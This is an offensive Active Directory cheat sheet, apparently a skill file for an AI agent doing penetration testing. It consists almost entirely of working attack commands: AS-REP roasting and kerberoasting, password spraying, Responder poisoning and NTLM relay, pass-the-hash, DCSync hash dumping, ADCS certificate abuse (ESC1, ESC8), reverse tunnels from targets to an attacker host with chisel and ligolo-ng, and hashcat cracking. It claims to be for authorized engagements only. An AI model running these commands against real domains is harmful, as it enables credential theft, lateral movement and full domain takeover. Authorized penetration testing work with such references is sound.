| name | tools-ad-pivot |
| description | One line: Active Directory, pivoting/tunneling, and password-cracking arsenal for authorized engagements. Trigger signals: "Active Directory", "domain", "kerberos", "kerberoast", "AS-REP", "BloodHound", "DCSync", "AD/.local domain", holding domain creds or a foothold. Authorized, in-scope targets only.
|
| domain | ad |
| type | arsenal |
| stability | locked |
| modes | ["pentest","bugbounty"] |
| schema_version | 1 |
tools-ad-pivot — AD attack, pivot & cracking arsenal
Loads on domain-joined targets, or once you hold a foothold/creds and need to reach
Domain Admin. Authorized, in-scope engagements only. Add the DC
to /etc/hosts (IP dc01.corp.local corp.local) early — Kerberos needs the FQDN.
Enumeration
- netexec / nxc (smb) — the swiss-army first pass; null session, shares, users, policy.
nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol
-u '' -p '' = null/anonymous auth; --pass-pol reveals the lockout threshold you must
respect when spraying. Add -M spider_plus to loot readable shares.
- netexec (ldap) — pull AS-REP-roastable and SPN users without touching Kerberos yet.
nxc ldap dc01.corp.local -u user -p pass --asreproast asrep.txt --kerberoasting kerb.txt
Also --users --groups --password-not-required for quick wins.
- enum4linux-ng — modern rewrite of enum4linux; broad SMB/RPC/LDAP dump in one shot.
enum4linux-ng -A dc01.corp.local — -A = all simple enumeration (users, groups, shares, pol).
- ldapsearch (anonymous) — raw LDAP when null bind is allowed; great for descriptions
(passwords hide there).
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local"
-x = simple auth, -b = search base. Add "(objectClass=user)" sAMAccountName description.
Gotcha: no base? grab it from ldapsearch -x -H ldap://IP -s base namingContexts.
- rpcclient — interactive MS-RPC; enumerate users/groups when SMB null is open.
rpcclient -U "" -N dc01.corp.local then enumdomusers, querydispinfo, enumdomgroups.
-N = no password.
- kerbrute userenum — validate usernames pre-auth via Kerberos (no lockout, very fast).
kerbrute userenum -d corp.local --dc dc01.corp.local users.txt
Confirms which names exist so you spray/roast a real list. Gotcha: needs the FQDN + reachable 88.
- BloodHound + collectors — maps the shortest path to DA; collect first, then think.
From Linux:
bloodhound-python -d corp.local -u user -p pass -ns $TARGET -c All
On host: SharpHound.exe -c All (or Invoke-BloodHound -CollectionMethod All).
Import the zip into BloodHound and run the "Shortest Path to Domain Admins" query.
Credential attacks
- impacket-GetNPUsers (AS-REP roast) — users with "do not require pre-auth" leak a
crackable hash with NO creds.
impacket-GetNPUsers corp.local/ -usersfile users.txt -request -no-pass -dc-ip $TARGET
With creds: impacket-GetNPUsers corp.local/user:pass -request. Crack the $krb5asrep$ with
hashcat 18200. Why it works: the KDC hands back a TGT-material blob encrypted under the
user's password key when pre-auth is off.
- impacket-GetUserSPNs (kerberoast) — any domain user can request service tickets for
accounts with an SPN; the TGS is encrypted with the service account's password.
impacket-GetUserSPNs corp.local/user:pass -dc-ip $TARGET -request
Crack the $krb5tgs$ with hashcat 13100. Service accounts often have weak, static passwords.
- Password spraying (nxc) — one password across many users beats many passwords per user.
nxc smb dc01.corp.local -u users.txt -p 'Winter2025!' --continue-on-success
Gotcha: check --pass-pol first — spraying past the lockout threshold locks accounts and burns
the domain. Space attempts under the observation window; one password per round.
- responder (LLMNR/NBT-NS/mDNS poison) — answer broadcast name lookups, capture NetNTLMv2.
responder -I tun0 — passively grabs hashes when a host mistypes a share. Crack with hashcat 5600.
Authorized lab only. Gotcha: disable SMB/HTTP servers in Responder.conf if you plan to relay instead.
- impacket-ntlmrelayx (relay) — forward captured NTLM auth to a target where SMB signing is off.
impacket-ntlmrelayx -tf targets.txt -smb2support (add -i for interactive shell, --delegate-access).
Pairs with responder (turn off its own SMB/HTTP listeners). Relaying to LDAP enables RBCD / ADCS ESC8.
Lateral movement / execution
- evil-winrm — clean interactive shell over WinRM (5985) with password OR hash.
evil-winrm -i $TARGET -u user -p pass | pass-the-hash: evil-winrm -i IP -u user -H <NTLM>
Best UX once a user is in Remote Management Users. Upload/download built in.
- impacket psexec / wmiexec / smbexec / atexec — SYSTEM (psexec) or stealthier user-context
exec.
impacket-psexec corp.local/user:pass@$TARGET (drops a service — noisy, SYSTEM).
impacket-wmiexec corp.local/user:pass@IP (semi-interactive, no disk artifact — prefer this).
smbexec/atexec = fallbacks (service via SMB / scheduled task). All accept -hashes :<NTLM>.
- netexec exec — run a command everywhere you have rights in one line.
nxc smb targets.txt -u user -H <NTLM> -x 'whoami' (-X for PowerShell). -H = pass-the-hash.
- Pass-the-hash — reuse the NTLM hash directly, no plaintext needed.
nxc smb IP -u user -H aad3b435...:31d6cfe0... — the -H/-hashes flag is honored across nxc,
evil-winrm, and every impacket tool. Why: NTLM auth proves knowledge of the hash, not the password.
- Overpass-the-hash / pass-the-ticket — turn a hash into a Kerberos TGT, or reuse a
.ccache.
impacket-getTGT corp.local/user -hashes :<NTLM> → export KRB5CCNAME=user.ccache →
impacket-wmiexec -k -no-pass corp.local/user@dc01.corp.local. -k = use Kerberos ccache, -no-pass
= don't prompt. Gotcha: Kerberos demands the FQDN (not IP) and a synced clock.
- impacket-secretsdump — dump hashes. DCSync:
impacket-secretsdump corp.local/user:pass@dc01.corp.local -just-dc
(-just-dc = pull NTDS via replication — needs DS-Replication rights; grabs krbtgt → golden ticket).
Local SAM/LSA: impacket-secretsdump -sam SAM -system SYSTEM LOCAL or over the wire on a target.
ADCS
- certipy find — enumerate the CA and flag misconfigured templates (ESC1–ESC8).
certipy find -u user@corp.local -p pass -dc-ip $TARGET -vulnerable -stdout
-vulnerable = only show abusable templates. Look for ESC1 (enrollee supplies subject).
- ESC1 abuse (certipy req) — request a cert as any user via a vulnerable template.
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local
Then auth with the cert: certipy auth -pfx administrator.pfx -dc-ip IP → NT hash / TGT.
- ESC8 (HTTP enrollment relay) — relay NTLM to the CA web endpoint for a DC/admin cert.
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Coerce auth (PetitPotam/printerbug) at the DC, capture its cert, then certipy auth.
- Pass-the-cert — use a
.pfx to authenticate or to add RBCD via LDAP schannel.
certipy auth -pfx user.pfx yields the NT hash; feed it back into PtH / secretsdump.
Pivoting & tunneling
- ligolo-ng — the modern go-to; a real tun interface, no proxychains needed.
Proxy (attacker):
sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up; ./proxy -selfcert
Agent (target): ./agent -connect 10.10.x.x:11601 -ignore-cert. In the proxy console: session,
then start, and add a route: sudo ip route add 172.16.1.0/24 dev ligolo. Now reach the whole subnet natively.
- chisel — reverse SOCKS when you only have outbound; single Go binary both ends.
Server (attacker):
chisel server -p 8000 --reverse
Client (target): chisel client 10.10.x.x:8000 R:1080:socks → SOCKS5 on your 127.0.0.1:1080.
Point proxychains at 1080. R: = reverse.
- sshuttle — VPN-like routing over a single SSH cred; no proxychains, transparent.
sshuttle -r user@$TARGET 172.16.1.0/24 — tunnels that subnet through the SSH host. -x to exclude.
- ssh port forwards — when you already have SSH on the pivot.
ssh -L 8080:127.0.0.1:80 user@pivot (local) · ssh -D 1080 user@pivot (dynamic SOCKS) ·
ssh -R 4444:127.0.0.1:4444 user@attacker (reverse, bring a port back). -fN to background without a shell.
- proxychains — force any TCP tool through your SOCKS pivot. Edit
/etc/proxychains4.conf:
set socks5 127.0.0.1 1080 under [ProxyList]; then proxychains nxc smb 172.16.1.10.
Gotcha: nmap through it must be proxychains nmap -sT -Pn (TCP-connect only; no ping/UDP over SOCKS).
- socat — quick relay/port bounce when you need a listener on the pivot.
socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 — forwards attacker→8080 to the internal host.
Password cracking
- hashcat — GPU cracker; pick the mode by hash type.
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Common modes: 1000 NTLM · 5600 NetNTLMv2 · 18200 AS-REP · 13100 Kerberoast (TGS) ·
1800 sha512crypt ($6$, Linux shadow) · 500 md5crypt ($1$) · 22000 WPA/WPA2.
-r applies rules; add --username if the file has user:hash lines.
- john — CPU fallback / great for odd formats and
*2john helpers.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs kerb.txt then john --show ....
Use zip2john, ssh2john, keepass2john to extract crackable hashes from files.
- hashid / name-that-hash — identify an unknown hash before you waste a run.
hashid '<hash>' or nth -t '<hash>' (name-that-hash) — maps the format to the hashcat/john mode.
Discipline / gotchas
- Kerberos clock skew —
KRB_AP_ERR_SKEW means your clock differs from the DC by >5 min.
Fix: sudo ntpdate dc01.corp.local or wrap the tool in faketime "$(...)" impacket-....
- Use the FQDN for Kerberos —
-k auth against an IP fails; add the DC to /etc/hosts and
target dc01.corp.local. SPNs are name-based, not IP-based.
- proxychains + nmap — always
-sT -Pn (TCP connect, skip host discovery); SYN/UDP/ping don't
traverse SOCKS and will hang or lie.
- Account lockout — read
--pass-pol before spraying; stay under the threshold and respect the
observation window, or you lock the accounts and disrupt the domain for everyone.
- BloodHound first — it shows the shortest path to Domain Admin; collect and analyze before
blindly roasting/relaying. The graph usually names your next move.
